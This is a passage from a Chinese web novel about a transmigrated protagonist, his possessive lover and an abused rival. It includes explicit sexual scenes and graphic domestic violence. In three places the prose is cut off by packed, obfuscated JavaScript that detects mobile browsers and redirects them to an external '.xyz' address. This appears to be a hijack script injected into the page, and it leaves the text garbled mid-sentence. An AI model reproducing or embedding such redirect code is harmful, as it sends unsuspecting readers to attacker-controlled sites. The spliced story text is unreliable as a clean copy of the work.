——他看透他的卑劣阴暗心思,却又若无其事凑近。仿佛在训烈性狼犬,手中拽着无形绳索,松一下、紧一下。好奇观察狼犬的反应。 路池有恃无恐。 而梁嘉树甘之如饴。 于是忍耐念头瞬间消失。 梁嘉树一把将路池抱进怀里,力度之大,掌心连同肌肉都在发麻。 湿润热水浸湿布料,他咽下那句“我们现在是什么关系”,唇压过去的最后一秒,哑声问:“路池,我可以吻你吗?” 接吻和拥抱,似乎比含着他的情.欲,更加亲密。 路池笑起来,挑眉时好漂亮,又漫不经心掐了下他后颈,指尖柔软温热。 “好啊,但你要先漱口。” 满室水汽。 男人居高临下地伸出一点猩红色舌尖,很快被凶猛吞吃,他游刃有余地细碎闷哼,片刻,懒洋洋地融化在了这片水里。 ...... 天色临近黄昏。 蓝紫色晚霞浸透云层,将整个A大也染得温柔绚丽。 实验室大门终于打开,路池一身烟灰色衬衫和西裤,从里面出来,身后跟着同色系的梁嘉树。 说来奇怪。 明明是差不多的衣服,梁嘉树穿时古板又冷淡,像个对性.生活深恶痛绝的卫道士,看到情侣牵手都要冷笑着一剑劈开那种。 路池穿上却显得俊美,盘靓条顺,再冷淡的色彩都被他的脸和气质衬得鲜活,仿佛行走的花蝴蝶,轻盈漂亮。 此时已经接近晚饭时间,胃里空空荡荡。虽然依旧没做到最后,但比起第一次当秒男,梁嘉树现在的神色很是平静——他在浴室里充分向路池证明了,自己可以保持“不少于一小时”。 到最后路池不耐烦了,伸手掐着他脖子踩他腿,还自顾自居高临下发泄给他看,浑身湿透,唇间溢出几声好听的喘。 于是梁嘉树怒然大勃,立刻又跪下去吻他了。 ——他听路池喘都能听.射,就这么没定力。 人来人往的校门口,跑车停在街道旁。 劳斯莱斯在夕阳下更加华丽。A大虽然富家子弟极多,但也没到能磨得父母给自己买这种级别豪车的程度,周围学生悄悄用手机拍过一轮,还四处问这是谁的车。 顶着众学生隐隐约约的注视。 梁嘉树坐进驾驶座,很自然地侧头,身体探过来给路池系安全带。 同款沐浴露香气扑面而来。 青年垂眸,一米八七的个子完全笼罩住路池,面无表情看着安全系带扣,似乎第一次开这辆车,在思索怎么扣上安全带。 “......” 路池挑眉,瞥了眼周围几个偷拍的学生,笑着用力捏他后颈,没戳穿:“行了,送我回去。” “好。” 梁嘉树神色自然,一点也不尴尬地瞬间扣上安全带,起身踩下油门。 跑车缓缓启动,汇入A市繁华的车水马龙。车里安静下来,梁嘉树看着前方路况,很快无意般开口。 “梁氏子公司有餐饮品牌,主做私房定制,八大菜系都有,听说很不错。” 路池含了下还在发麻的舌根,拒绝他还没来得及说出口的邀请:“改天吧,今天我想一个人吃。” 梁嘉树握着方向盘的手紧了紧,片刻,面不改色:“好,什么时候想吃告诉我。” 路池嗯了声,没理又在散发黑气的主角攻。 他身上都是另一个人的味道和痕迹。胸口刺痒、腿环勒得皮肤隐痛、小腹似乎也被舔得磨破皮。除了没真刀实枪地妖精打架,几乎和本垒没差。 就不该纵容梁嘉树发疯。 路池生前死后都没有过这种体验,现在很不习惯,表情也有点淡淡的,还带了一丝隐约的新奇与沉吟。 系统全程被打马赛克,很好奇地开口:【宿主——】 路池肃然打断:【别吵,我在思考。】 系统被他唬住,连忙哦哦两声,不敢再打扰伟大聪明、善良迷人、连路过的蚂蚁都忍不住尖叫跳求偶舞的救世主万人迷宿主。 ——呼,title好长,差点喘不过电子气。 天色逐渐变暗,远方亮起喧嚣灯火。跑车一路行驶,很快停在出租屋楼下。 路池没什么留恋地下车,忽然被梁嘉树叫住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841737|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 青年递过来一个不知何时拿的药盒,应该是实验室产物,没有任何商标,言简意赅:“擦伤药膏。一天抹一次,见效很快。” 说完沉默下来,漆黑双眸看着路池。 路池点头,接过来道谢,礼貌告别:“好,开车注意安全。” 短短六个字,令梁嘉树冷淡阴沉的脸瞬间转晴。 路池冲他摆了摆手,转头离开。一直到坐电梯上楼,打开公寓的灯,几秒后,楼下才传来发动机轰鸣的声音。 梁嘉树终于驱车离开。 路池胃里空荡荡,碍于舌根被吸得有点肿,只叫了份冰冰的甜品外卖。系统见他将药膏随手放进茶几柜,吃完外卖后还是没有打开的意思,赶紧关心。 【宿主,你怎么不擦药?而且为什么要擦药,主角攻是不是打你了?他敢!】 系统越说越激动,路池笑:【懒得擦而已,乖,别多想。】 他安抚好系统,对着卫生间的镜子脱掉衣服,露出满是吸.吮痕迹的皮肤。红到发紫的吻痕连同牙印布满周身,细韧瓷白的腰侧还有隐约掌痕,乍一看去,痕迹主人的占有欲简直令人心惊。 路池看了两眼镜子,又低头看了眼自己,仿佛也很新奇。 他拿起手机,对着腰拍了张照片发给梁嘉树。 吃饭睡觉不跳舞:【图片.JPG】 吃饭睡觉不跳舞:【小猫震惊.JPG】 发完他放下手机,换睡衣洗漱。梁嘉树应该还在开车,没看微信,路池回到床上,点开中午顾言言发来的消息。 AAA订台找我.小言:【池哥,听说你在A大当助教了,恭喜!】 AAA订台找我.小言:【我这几天有事,所以还没去学校报道,不过我已经拜托室友选了你的课,期待我们在A大见面~】 AAA订台找我.小言:【新工作红包】 AAA订台找我.小言:【对了,池哥你的证件照超级好看,我找到原图保存了。】 ......主角受没报道? 那天梁之羽打了他后,他们俩到底怎么处理的? 这几天过得太快,路池都忘了问梁嘉树了。 他若有所思,依旧没收那个红包,回了句谢谢。 手机忽然震动。 路池退出去,发现是一个纯黑色头像的好友申请,语气又贱又中二,熟悉得让人巴掌很痒。 童脸狼:【还在拉黑我?路池你拿乔够了吗?我平时可以和你开玩笑很随和,但是如果你触碰我的逆鳞,我就会让你知道什么是真正的黑暗(比如我头像)。】 童脸狼:【还不同意好友申请?不要以为被我追就能得意!我表面单纯天真被你迷住,实际上圆滑通透,你不可能算计得了我。如果你非要把我心中的魔鬼放出来,那我只想问你,你镇得住吗?】 路池:“......” 路池眨了眨眼,拉黑前回了他五个字: 【字太多,不看。】 - A市警局。 警察将手机递给监室里迫不及待的二人,不忘肃声警告:“关一周才能联系外界一小时,你们注意时间和措辞,不要给自己惹麻烦。” “再像前几天那样关进来还相互斗殴,不管谁来保释,我们都会正式拘留你们!” 上下大通铺里,两个鼻青脸肿的少年闻言,互相嫌恶地看了眼对方,很快就拿走手机,各自蹲到角落里发消息。 顾言言咬唇,想到林家人过来给他钱时告诉他的消息,忐忑给路池发了一连串的恭喜和红包过去。余光瞥见梁之羽皱眉死死盯着手机,忍不住冷笑一声。 傻叉。 肯定是又去骚扰池哥了,真是阴魂不散! 梁之羽对他的目光毫不在意。笑死,这个贱人自己都厚着脸皮缠着路池,有什么资格说他不要脸? 他咬紧手指,垂落的长发遮住半张脸,眼睛盯着被拉黑的提醒,很快就焦躁地将指甲啃出了血。 熟悉的腥味弥漫。 梁之羽反而冷静下来。 搜索页面停留着上一个问题:【什么样的昵称能让别人忍不住回复?】,片刻,梁之羽又注册了个新号,打上网名: 【笑面虎】。 18.世界一 【笑面虎】:我差不多就是这样的人,平时跟你嘻嘻哈哈,但如果认真起来就能超过所有人。你确定不加我? 头像里的猫猫朝镜头瞪大眼,梁之羽隔着手机屏幕和它对视。 许久,那头依旧没有回复。 路池非常熟练地再次无视了他。 为什么? 梁之羽咬碎了半个指甲盖都想不通。 就像他也想不通自己为什么会如此执着于想要和路池聊一聊天、讲一讲话。他明明是一个很深沉的长发男,有自己喜欢的小众乐队和摇滚文化,酷爱戴朋克戒指和殴打无辜路人,而且不像别的长发男一样阳.痿——他才十八岁,比钻石更硬。 梁之羽在自己的世界里尽情发泄,活得很好很有钱,很光鲜亮丽。 路池呢?只是一个会所里跳脱衣舞的员工而已。不就是长得漂亮了点、扇他时香了点、扇完后他爽了点吗? 不就是扇过他之后,又亲手给他镇痛了吗。 梁之羽感觉自己似乎表现得有点缺爱。这样不行,长发摇滚男的标签是自由和滥情。他猛地激灵一下,赶紧用沾血的手指打字发朋友圈: 【妈妈,人生是旷野。】 至于路池,不加就不加吧。笑死,其实他也不是很想加啊,路池说实话挺一般的,他该不会以为自己喜欢他吧?路池不会当真了吧? 梁之羽又低头在染血的屏幕上打字。 笑面虎:【路池,你真的很装。】 笑面虎:【我有你电话,你给我等着。】 那头依旧没没动静,梁之羽想再吓一吓他、让他回复时,发现自己又被利落拉黑了。 干脆无情得让梁之羽好想跳楼。 监室另一端忽然传来一声笑。 他烦躁地看了眼,被顾言言脸上那股恶心的甜蜜熏得想吐。对方似乎也察觉到这道目光,很快看向他。 四目相对。 顾言言露出一个很冷很嘲讽的目光,像是舔狗嘲笑另一只舔都舔不上的败犬,而后又迅速低下头,表情雀跃地打字。梁之羽翻白眼,心底暗骂傻叉。 偌大的监室很安静。 警察看了眼监室中闷头看手机的二人,纳闷问同事:“今天太阳从西边出来了?这两个人居然不互殴。” ——一周前,A市总警署接到寻衅滋事的电话举报,警察很快将顾言言和梁之羽当场押回来,按法律拘留十五天。 谁知他俩被关进同一个监室后就开始互相辱骂,每天物理痛击对方。偏偏两个人都是刚成年,梁之羽背后有梁氏分支,顾言言也不简单,被关进来第二天就有林家人过来看望。警察头大之下,只能每天祈祷赶紧到时间让他们滚蛋。 就在这时,警署门外忽然停下一辆加长黑色商务车。 车停,戴着眼睛的男人从副驾下来,神情温和地径直走向警察,笑着对她们伸手。 “您好,我是梁家集团的秘书,今天来是想保释我们家少爷的。” 要是梁氏集团的梁总本人来,她们或许还要如临大敌,客套一番。 但眼前这人显然只是梁家分支的人,于是警察不冷不热地点头,抽出手续单和赔偿单递过去。 “麻烦填个表,填完表后你们还需要赔偿梁之羽本人损伤的一应器具,款项需七个工作日内汇过来。” 秘书依旧温和地点头签字,很有高级打工人的素养。办好手续后,他跟着警察来到监室门口,对里面的少年笑道:“少爷,李总来接您回家了。” 梁之羽起身,没说话。 秘书也很习惯地看了眼他血肉模糊的手指,面不改色从公文包掏出简易医药包,递给梁之羽自己包扎。 梁之羽看着那些绷带,忽然冷笑一声,毫无预兆将所有东西扔到脚下,又狠狠踹翻桌子,深褐色眼瞳充满戾气:“什么意思,你看不起我啊?” 警察淡声开口:“这张桌子的款项清单也会寄过去。” 扑哧。 监室里的顾言言笑起来,很幸灾乐祸地看热闹。秘书赶紧道歉,这才勉强哄着梁之羽离开警署。 加长版商务车停靠在路边。 梁之羽脚步没停,面无表情低头钻进后座,看见隔座上看文件的高大男人,垂眸喊人:“爸。” 李升没应,一身西装笔挺,依旧在低头看着文件,眉眼粗犷的脸上很认真,一副专心工作的模样。 梁之羽只想冷笑。 笑他东施效颦,学梁总平日行事风格——梁明珠手握梁氏集团实权,平时带着她的团队忙得不可开交,连上下班都在工作。 曾经有记者拍到她在车里匆忙看文件的模样,放在报纸头条登出,加上梁氏利润创新高的财报,配文:【梁氏明珠一心为公,梁氏集团一路生花】。 当月报纸大爆,无数企业家和年轻人心潮澎湃,卷起一股学习梁明珠的风潮。李升很看不起女人搞出这种风头,却又迫于大势不得不学习,私下总骂她不择手段——试管生出梁嘉树这种怪胎,还死了老公,事业再高又有什么用? 一个没男人爱的大龄女而已。 车内寂静。 没过多久,商务车很快停靠在一栋三层小别墅外。 梁之羽下车,沉默地跟着交代完工作的李升往里走。别墅里没有佣人,静悄悄得像坟地,连他妈梁晴和妹妹粱仪也不会往这里来。 ——这是李升教训人的地方。 刚踏进大门。 下一秒,梁之羽耳边就瞬间传来一阵呼啸声响。 声音扇在侧脸,将他这个一米八三的男生扇得哐当摔倒在地,膝盖骨和额头磕在冰冷大理石上,咚咚作响。 耳边响起针尖般的尖锐耳鸣,过了好久,梁之羽才迟钝感觉到烈火般的剧痛。 头皮被毫不留情扯起。 梁之羽吃力睁眼,额头滑落的温热鲜血遮住视线,只能看见一片血红色中,李升那双与自己如出一辙的深褐色眼瞳。 他正暴戾地看着自己,声音仿佛从牙里咬出来:“杂种,你知不知道这次你搞出多大事?!林家人把你进局子的照片发的全城皆知,公司产品还没转型,你他妈想害死谁?!” 他不需要梁之羽回答,抓着他的头皮就毫不留情往地砖上砸,边打砸边骂,“留个长发戴得丁零当啷,穿得也不三不四,你以为自己是梁嘉树,能开开心心当怪胎?人家一年赚的钱够买你命了!” 空气中回荡着骨头清脆的碰撞声,一下又一下,很有节奏感。 不知过了多久。 哐当一声,李升喘了口气,一脚将呼吸微弱的人踢开,高大健壮的身体起伏,终于停止暴行。 别墅安静到死寂。 他歇了会儿,再次踩在梁之羽血肉模糊的手指上,来回用力碾过。离开前,男人最后冰冷警告:“你再给我惹出一次这种事,就不止被打这么简单。” “梁之羽,老子直接送你去死。” 咔哒一声。 脚步声远去,大门终于关闭。 梁之羽像条死狗瘫在地上,半晌,终于猛地喘出口气,艰难翻身,咽下弥漫在喉管里的腥气。 头顶灯光真亮。 地上全是猩红鲜血,宛如凶杀案现场。他像以往一样缓了许久,一瘸一拐爬起来,呼吸发沉地打开一楼的酒柜门。 灯光下,里面摆满冰镇的香槟,都是同一个牌子。 梁之羽抽出一瓶,靠着柜门滑坐在地,沉默失神地往自己脸上贴。 冰冷触感贴住皮肤,带来丝丝凉意。 他没管满头满脸的鲜血,又缓了会儿,忽然很想听路池的声音。 至少他是唯一一个打过他后,会给他一点甜头的人。 他说,听话的小孩有奖励。 好善良。 但梁之羽性格太糟糕,路池拉黑他也很正常。 梁之羽胡乱吃了两颗止痛药,很快找到角落里被甩落的手机,低头,用鲜血淋漓的手指开始敲字。 梁:【路池,对不起,之前一直打扰你。】 梁:【对不起,你能不能通过一下?】 梁:【我就是想听你说话。】 温热鲜血源源不断顺着额头滑落。 梁之羽抹了把脸,长发已经被血凝成一缕一缕。他没抱希望地看着那个猫猫头像,和它隔空对视,仿佛也在和路池对视。 手机嗡的一声。 梁之羽下意识垂眸,一愣,看见那个猫猫头像毫无预兆进入对话框,叮咚发来消息。 吃饭睡觉不跳舞:【语音.3S】 “……” 梁之羽呼吸有点抖,来不及想为什么,立刻慌慌张张用身上唯一干净的袖口擦干净屏幕的血,指尖发颤点开语音。 寂静别墅内,男人漫不经心的声音响起,带点笑意。 “梁之羽,原来你会好好说话?” 耳朵传来阵阵耳鸣。 梁之羽等剧痛过去,立刻将手机听筒贴近右耳,一遍又一遍重复听那句语音。好一会儿,他才想起来回复,连忙道歉。 梁:【对不起。】 梁:【转账:206703.00】 梁:【我家里停了我的卡,现在只有这些,等回学校才能解冻。】 梁:【回学校我就有钱了,真的。】 温热液体混着鲜血滑落。 梁之羽胡乱抹干净,满手血和眼泪。他没在意,紧紧抱着那瓶冰香槟盯住屏幕,神色焦躁又不安。 …… 出租屋内。 路池挑眉看着对话框,点击退回。 系统心痛:【宿主为什么不收?攻二就是废物纨绔暴力狂败家子,这种人的钱就应该全给你上贡!】 它现在骂人越来越顺溜,路池笑起来,拿起青蛙杯子喝了口水,摇头:【梁嘉树说过,梁之羽常年被家暴。从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14849782|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才开始他的情绪和措辞明显都不对,应该是刚被打过。】 简直是从童脸狼变成了窝囊废,判若两人。 系统的机械音很疑惑:【那怎么了 ?又不是我们打的他,反而他那么喜欢你,你的回复对他来说是安慰才对!这个钱就是我们的安慰钱!】 它跟着路池有段时间,知道二十多万是一笔很大的钱了呢,不能放过。 路池躺下,不紧不慢:【我为什么要安慰他呢。】 这个世界上钱能买来的东西有太多:自信、快乐、满足、幸福……但影响一个人、造就一个人的因素绝不仅有金钱。 良好的环境,健康的身体,美满的家庭等等,都是形成一个人性格的重要原因。当再多金钱也堆砌不出完整人格时,这个人无异于身陷沼泽汪洋,会将任何能抓住的东西视作救命稻草。 路池不当任何人的救命稻草,也没有责任去拯救任何角色的人生。 他漫不经心找了几个链接和视频转发过去,而后利落结束这场对话。 吃饭睡觉不跳舞:【开业大酬宾-泰拳格斗班只需999包年!】 吃饭睡觉不跳舞:【如何开具精神病证明教程-mv】 吃饭睡觉不跳舞:【孔子论语之:己所不欲,勿施于人-讲解mv】 吃饭睡觉不跳舞:【小猫睡觉.JPG】 梁:【……】 梁之羽看着屏幕,双眸失神,不知是什么心情。 被家暴是他藏得最深、也是李升藏得最深的秘密。李升爱面子,入赘也不肯改自己的姓,在外更是装出爱护妻子的模样。梁之羽自信这个世界上只有自己和他知道这个秘密,连妹妹梁仪也毫不知情。 所以路池为什么忽然给他发这些?难道他有什么别的企图,就像顾言言那样? 明明是需要警惕的问题。 思考间,梁之羽的手却不听使唤,很快偷了路池的表情发过去。 梁:【……晚安,我会看的。】 梁:【路池,谢谢。】 梁:【小猫睡觉.JPG】 那头没有再回复。 香槟变得常温。满身血的少年再次抽出一瓶新酒,抱着瓶身坐在酒柜旁,一遍又一遍地听男人语音。 沾着血的指尖无意点开对方发来的一个视频,失神间,梁之羽听见里面的人在温和讲解—— “己所不欲,勿施于人。” 己所不欲,勿施于人。 他一顿,过了许久,忽然很慢地攥紧了手。 …… 劳斯莱斯抵达公寓。 梁嘉树进电梯时才看见路池发的那张布满吻痕的照片。 他盯着男人瓷白细韧的腰侧,倏然停在门外,有种想现在飙车回去吻他的冲动。 梁嘉树闭了闭眼,压下这股不合时宜的心情,走进清冷寂静的公寓。 LJS:【很漂亮。】 LJS:【下次亲另一边。】 路池没有回复。梁嘉树从冰箱里拿出冰水,垂眸点开A大论坛。 果不其然。 下午路池和他一起上车的照片已经传满校园。 其实今天路池刚一露面,A大的论坛就已经沸腾过一次。这年头大家不是没见过美女帅哥,但长成路池这样的,真没有。 更何况他好看又有能力,上课时条理分明,教授显然也对路池特别满意,全程都笑呵呵得不行。 学生们都迫切想知道路池的私人联系方式——美人只配强者拥有,他们年轻又有钱,说不定就能拥有美人呢? 不能拥有,抢着给美人当狗也行啊! 谁知下午刚下课,一张梁嘉树给路池系安全带的照片就传疯了论坛。 梁嘉树身上title太多,A大学生第一次这么讨厌天龙人。梁嘉树看了眼论坛里对他的阴阳怪气和内涵,没怎么在意,很快转了几个高楼链接给路池。 LJS:【大家好像都在讨论我们的关系。】 LJS:【梁氏在校董会有股份,我个人的实验室和A大科研机构有多次合作。我不仅仅只是学生,更是和他们平等的合作对象。】 LJS:【所以,我们不算师生恋,你也不用担心会有流言。】 LJS:【没有逼你公开的意思。如果你不喜欢,我可以黑掉整个论坛。】 那头没有回复。 ——第一天接吻就想宣示主权,太急了吗? 梁嘉树面无表情喝了口冰水,片刻,垂眸想撤回消息。 嗡嗡两声。 那头终于发来回复。 吃饭睡觉不跳舞:【如果我现在公开关系,那会有多少人疯掉?】 【A大天台是否会人满为患,论坛是否会陷入瘫痪,是多少学生心碎的夜晚?我难以想象。】 【抱歉,梁嘉树。伤害学生的事我做不到。】 梁嘉树:“……” 19.世界一 不知为何,梁嘉树看着路池发来的回复,漆黑眼底竟划过一点笑意。 他忍不住拨了个语音电话过去。 嘟嘟两声,那头很快接通。路池应该正躺在床上犯懒,声音轻飘飘的,像只快冬眠的大尾巴松鼠:“干嘛?” 梁嘉树被他好听的尾音挠了一下,顿住两秒,才提醒:“路池,你是助教。” ——没那么多“学生”。 路池挑眉:“你看不起助教?梁嘉树,我发现你这人阶级感很重啊。”他学着刚才论坛里的言论,阴阳怪气:“呵呵,万恶的天龙人!” 梁嘉树又笑,否认说没有。而后想起什么,低声问:“吃晚饭了吗?药上了吗?要是没胃口,我让人做好给你送过去?” 他像是换了个芯,从阴沉主角变成啰嗦保姆,路池懒得要死,将头埋在被子里打哈欠:“吃了,药没擦。” “过几天就好了,不用这么麻烦。” 闻言,梁嘉树干脆放下冰水,转身往外走:“等我半小时。” “干嘛?” “我过去给你擦,擦完就走。” 路池信他会走才有鬼,笑着不吭声。听见那头玄关大门打开的声音,才懒洋洋阻止:“不许来。” 短短三个字,梁嘉树瞬间停住。 他浑身又冒出阴沉黑气,握着门把手立在原地,皱眉:“路池。” 路池叹了一声,几秒后,忽然干脆挂断电话。 梁嘉树心一沉,手脚瞬间发凉,仿佛被水鬼按着头往下淹,下意识想起被路池单方面断联的那一周。 ......他说错什么,又惹他生气? 怎么挽回?去找他?和他道歉认错? 两秒后,震动的手机将梁嘉树从地狱拉回人间。 屏幕上,跳动的猫猫头像打来视频电话。梁嘉树还没缓过来,脸色有点僵地接通,黑发男人立刻出现在镜头里,翘起的发梢凌乱细碎。 眼睛懒洋洋的,一见他就挑眉:“你干嘛?脸色阴得像在上坟。” 梁嘉树很慢地吐出口气,面无表情说没事,关了门回到客厅,继续喝冰水冷静。 喝完不再提公开的事,转移话题:“药膏是我新研发的,刚申请完专利,对皮外伤见效很快。你擦两天基本就能好。” 路池嫌麻烦,把头埋在枕头里装听不见,只露出凌乱的后脑。梁嘉树皱眉劝他,他很不耐烦地瞪过来,片刻,镜头一抖,十分不见外地撩起了自己的睡衣。 路池给他看大大小小的吻痕和牙印:“这都怪谁?要不是你我需要上药吗?”又伸舌头,给他看自己有点肿的殷红舌根,唇湿润着,像浸湿的花瓣。 梁嘉树喉结一动,盯着他充斥情欲痕迹的漂亮模样,忽然觉得口干:“......抱歉。” 路池听出他声音的沙哑,挑眉,忍不住闷笑:“你真的......梁嘉树,你当狗当爽了没。” 梁嘉树坦然:“很爽。” 毫无疑问,能和路池做是一件很爽的事。 他长得漂亮,行为又总有意无意钓人,似乎骨子里带着点主人的基因。但真刀实枪时,反应却有种意外的纯情和直白。 梁嘉树亲他时,他会顿住一秒,然后有样学样地也凑过来咬他。手按住他后颈不允许他动,很霸道又新奇地和他舌尖交缠。 梁嘉树舔他时,他会抓紧他发根呼吸。起伏的胸口白得晃眼,腰侧薄肌因为绷紧拉出一条漂亮的线,被梁嘉树握在掌心,肆意揉摸。 “亲你很爽,被你掐很爽,听你喘很爽,舔你也很爽——” “好了请你停止,”路池按住要隔空发情的主角攻,表情肃然:“你闭嘴,我上药。” 梁嘉树忍笑:“好。”又说:“抱歉,下次我会准备好一切。” 今天还是太匆忙了。 你情我愿的事,路池懒洋洋摆手,大度表示没事。他将手机放在床头,从柜子里扒拉出药盒,又将全身镜单手拖到床头,然后直接一键脱.光对着镜子上药。 “......” 隔着镜头,梁嘉树看路池咬开药膏,把头努力歪到肩头费劲去看吻痕,偶尔上药上累了,就拿起床头那个青蛙水杯咕咚咕咚喝水,凌乱的头发支楞起几簇,神色很认真。 梁嘉树只感觉他像A大那只给自己舔毛的混血奶牛猫——初看高贵漂亮,接触熟了,就有种不自知的、神经兮兮的诙谐幽默。 当然还是高贵漂亮的,但是就......蛮可爱。 超可爱。 灯光洒落,清冷灰色的客厅放着带镜子的酒柜,梁嘉树的身影映射在镜子上,高挑而笔挺。 手机里的奶牛猫勤勤恳恳上药。 他垂下漆黑双眸,向来冷淡的脸上露出了一种前所未有的、不自知的笑意。落地窗外车水马龙,这点笑意融进灯光,片刻,也无声成为了万千繁华灯火里的点缀。 如此温柔。 ...... A大给新助教们都只安排了一门选修课,路池工作排得不算挤,上完一天基本就能休息一天。 他当晚擦完药累得不行,卷起被子倒头就睡,完全忘记了手机还在视频通话。 隔天起床,才发现手机因为没电自动关机了。 路池找到充电线充电,打着哈欠去洗漱。迷迷瞪瞪往脸上糊大宝时,听见系统贼兮兮出声:【宿主,主角攻昨晚一夜没睡,一直在镜头外盯着你哦。啧啧,快哉快哉呀。】 路池没说话。下楼吃饭时,才不紧不慢问它:【你又看什么小说了?】 语气不伦不类的,像皇帝身边特别贱的大太监。 系统咳:【是有看几本古风爱情小说啦......小女子不才,斗胆问一下宿主,主角攻这是彻底爱上你了吗?】 路池一顿,脸色忽然变得有点奇怪:【小女子?】 电子数据流也分男女? 系统理直气壮:【是啊,我看书里的主角都这么自称。宿主要是不习惯,我叫小生也行。】 路池:【......清掉那些东西。】 【......哦。】 系统哭丧着脸去清空数据了。 路池摇头,拿着煎饼果子大口啃。九月的A市气温还很热,他穿着短袖,低头看了眼自己的手臂内侧,发现才短短一夜时间,昨天看上去还很吓人的青紫吻痕竟已变淡了许多。 在雪白皮肤衬托下,像片半透明的花瓣。 而这应该只是梁嘉树随手研究的一款药物。 他的主要研发和收入都侧重于人工智能,包括但不限于家居、车房、机械造物、AI助手......且已取得非常多专利,如果不是因为他出身梁氏,应该会直接被收编进院,保护起来。 管中窥豹,梁嘉树确实无愧于原著中的天才设定。 ——天才,头脑灵活极易变通的同时,也会在某方面极度偏执坚持。 路池若有所思,吃完煎饼果子后又买了个甜筒,边啃边往外走。刚停在路口就感觉到手机在震。 不出所料,全是梁嘉树发来的消息。 LJS:【醒了吗?药有没有用?】 LJS:【图片.JPG】 LJS:【我的早饭。你吃了吗?今天没课,想出去吃饭吗?】 LJS:【我没有再找人跟踪偷拍你。之前对不起,是我太偏激。】 路池看着屏幕上的偏激两个字,很慢地挑起了眉。 以前梁嘉树不会这样发消息。 他只会转账加人肉:开盒路池一次、就给路池转账一次。特别是被断联的那一周,半句好听话不会说,发来的全是偷拍和恐吓,像个高智商杀人犯在预告犯罪。 但就好比学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14856847|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样东西。普通人对此循序渐进,天才则有他自己的头脑反应,能迅速理解接受新东西,然后逐帧精确模仿。 系统狐疑:【咦惹,主角攻怎么感觉变回正常人了?这难道就是爱情的力量?】 路池笑了下,也没说什么,回他。 吃饭睡觉不跳舞:【药好用,饭吃了。】 吃饭睡觉不跳舞:【不出门,想宅家。】 回复完,他没再看手机,来到附近琴行,挑挑拣拣买了把吉他。隔天上课,主讲教授请了三个月长假看病,助教路池就在教室弹吉他给学生听。 教室依旧坐满了人,前排正中间也依旧是一身黑的梁嘉树,后排角落里则坐着不起眼的顾言言——林家人交了钱替他保释,当作这桩交易的最后酬劳。出来后第一天,顾言言就赶紧收拾干净自己,马不停蹄来上路池的选修课了。 路池出现时,大家愣住好几秒,才爆发出一阵又一阵议论。 因为身上吻痕没消完全,路池穿得很有艺术感。仙气飘飘的堆叠薄款衬衫,衣角绣了文竹暗纹,下面是同色系长裤——他头上喷了蓝色的一次性染发喷雾,偏绿的蓝,乍一看神秘而美丽,与初见时黑发白衬衫的模样完全不一样。 艺术院最爱美人缪斯,台下学生仗着路池不在意,拿起手机光明正大偷拍。路池偶尔会侧头,笑眯眯地对镜头比耶。 他的气质因为蓝发多了点清冷,不做表情时显得很高不可攀,也像蝴蝶,但属于蝴蝶里比较仙气的那种。 于是这一周里,系统就看着这只蝴蝶不停换穿搭,一边在网上和主角攻保持联系、一边又钓着他不见面。每次都只让梁嘉树开车送他到家门口,然后笑眯眯拒绝人家想上去坐一坐的要求,最多只拉一拉手,然后施施然回家。 徒留梁嘉树紧盯他背影,漆黑双眸看不出任何情绪。 直到周末,路池身上痕迹全消,再次换上短袖。 系统看着他打车出发去FOM,莫名有点揣揣,吞了口电子口水:【宿主,你、你真的要去夜店蹦迪吗?】 路池忍不住笑:【你怕什么?】 系统都快被主角攻越来越看不出情绪的眼神吓尿了:【我没有怕啊,我、我就是有点膀胱内急而已。】 路池又笑:【你哪来的膀胱......你忘了,现在是原著里又一个重要剧情点。】 系统一愣,这才想起来原著。 ——原著中,开学后,暗恋梁嘉树的顾言言被室友内涵是土包子、没见过世面,受尽排挤和白眼。与此同时,舅舅顾杰又欠下大笔赌债,他只好再次来到FOM打工赚钱,却被记恨他的梁之羽设陷做局,找人群殴他。 但那群混混本就不是好人,一见顾言言的脸就起了歪心思,混乱挣扎之下,梁嘉树忽然出现。 他虽然什么也没做,但混混们心虚到极点,连忙利索跑路。至此,梁嘉树又救了顾言言第二次。 于是顾言言彻底沦陷。 系统翻完剧情勃然大怒,无能尖叫:【什么鬼!谁允许他沦陷?你们都是我宝宝的提款机,不许沦陷,一个都不许!!】 路池被它的反应吓了一跳:【......息怒啊大人。】 系统的电子音咬牙切齿,滋滋森冷:【这三个人明明都喜欢你,怎么可能沦陷?一定是原著描述有问题,没错,一定是原著有问题!!】 它像个抓奸的丈夫,抓狂地来回看着剧情,忽然察觉到不对:【宿主,梁之羽现在不是被家里关住后,找了个泰拳师傅在学打拳吗?还天天给你发自己的作息表,哪来的空找人揍顾言言?】 